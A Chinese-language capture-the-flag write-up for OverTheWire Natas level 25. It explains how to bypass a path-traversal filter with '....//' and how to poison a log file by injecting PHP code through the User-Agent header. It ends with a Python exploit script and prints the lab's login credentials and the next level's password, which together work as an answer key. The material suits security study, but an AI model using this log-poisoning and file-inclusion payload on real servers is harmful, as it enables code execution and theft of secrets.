天天看點

Overthewire-natas25

Overthewire level 25 to level 26

進入頁面發現它輸出了很長一段内容,仔細一瞅全是廢話...但是它提供了一個選擇英文和德文的界面,可以選擇展示在首頁上的文本的語言。

<?php
    // cheers and <3 to malvina
    // - morla

    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en");
    }

    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) {
            include($filename);
            return 1;
        }
        return 0;
    }

    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;

        closedir($handle);
        return $listoffiles;
    }

    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n";
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
?>
      

通過分析源代碼,我們發現它用了一個自定義的​

​safeinclude​

​的函數來讀取檔案裡的内容。

這個自定義的​

​safeinclude​

​函數定制了兩個過濾路徑的辦法。

  1. ​strstr($filename,"../")​

  2. ​strstr($filename,"natas_webpass")​

兩個函數的過濾等級不一樣,第一個隻是将路徑裡面的​

​../​

​替換成空,而第二個則是直接退出程式。是以我們可以觸發一下第一個過濾的檢測機制。

像字元串替換這種機制其實是很好繞過的, 比如說我們用​

​....//​

​,觸發它的檢測後字元串就會被替換成​

​../​

​,就達到了我們自定義路徑的目的。

function setLanguage(){
    /* language setup */
    if(array_key_exists("lang",$_REQUEST))
        if(safeinclude("language/" . $_REQUEST["lang"] ))
            return 1;
    safeinclude("language/en");
    }
      

從​

​setLanguage()​

​可以判斷出​

​en​

​、​

​de​

​這兩個檔案在​

​language​

​路徑下,我們可以試試之前的路徑替換是否生效。

請求​

​http://natas25.natas.labs.overthewire.org/?lang=....//language/de​

​, 發現它正常顯示出了德文文本而不是預設的英文文本,是以判斷這個路徑滲透成功了。但是由于第二個過濾機制,我們不能直接從​

​/etc/natas_webpass/natas26​

​中讀取密碼,是以我們要想辦法把它的内容提取到另外一個檔案中。

網頁的源碼還提供了一些其它的函數

function logRequest($message){
    $log="[". date("d.m.Y H::i:s",time()) ."]";
    $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
    $log=$log . " \"" . $message ."\"\n";
    $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
    fwrite($fd,$log);
    fclose($fd);
}
      

這個log函數讀取​

​$message​

​的内容,并且沒有經過檢測就直接将​

​HTTP_USER_AGENT​

​的内容拼接到log裡面去,是以我們可以把它作為一個注入點,寫入我們自定義的代碼,并且結合之前的​

​safeinclude​

​漏洞可以讓我們讀取這個檔案的内容。

是以我們可以大概确定進攻思路為

  1. 利用​

    ​logRequest​

    ​将密碼讀取到日志中
  2. 将該日志展示出來。

我們先看看現在的log内容

​http://natas25.natas.labs.overthewire.org/index.php?lang=....//logs/natas25_6siv6f15h81cpc3t44fi08eha5.log​

[29.05.2021 11::28:40] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::44:47] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::45:09] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::45:29] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::49:57] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request."
Notice: Undefined variable: __GREETING in /var/www/natas/natas25/index.php on line 80

Notice: Undefined variable: __MSG in /var/www/natas/natas25/index.php on line 81

Notice: Undefined variable: __FOOTER in /var/www/natas/natas25/index.php on line 82
      

這是​

​include(../logs/natas25_natas25_6siv6f15h81cpc3t44fi08eha5.log)​

​之後的内容,由于include在讀取php檔案時會進行預處理,結合這裡log檔案中的​

​UNdefined variable: __GREETING...​

​可以判斷出,展示出來的首頁需要有三個變量​

​__GREETING, __MSG, __FOOTER​

​, 我們隻需要将密碼設定在這三個變量中的一個即可。攻進攻代碼如下

import requests

auth = ('natas25', 'GHF6X7YwACaYYssHVY05cFq83hRktl4c')
resp = requests.get('http://natas25.natas.labs.overthewire.org', auth=auth)
sid = resp.cookies['PHPSESSID']
resp = requests.get(f'http://natas25.natas.labs.overthewire.org/?lang=....//logs/natas25_{sid}.log',
                    auth=auth,
                    headers={
                        'User-Agent': "<?php global $__MSG;$__MSG=file_get_contents('/etc/natas_webpass/natas26'); ?>"},
                    cookies={'PHPSESSID': sid})
print(resp.text)
      

第26關的密碼為oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T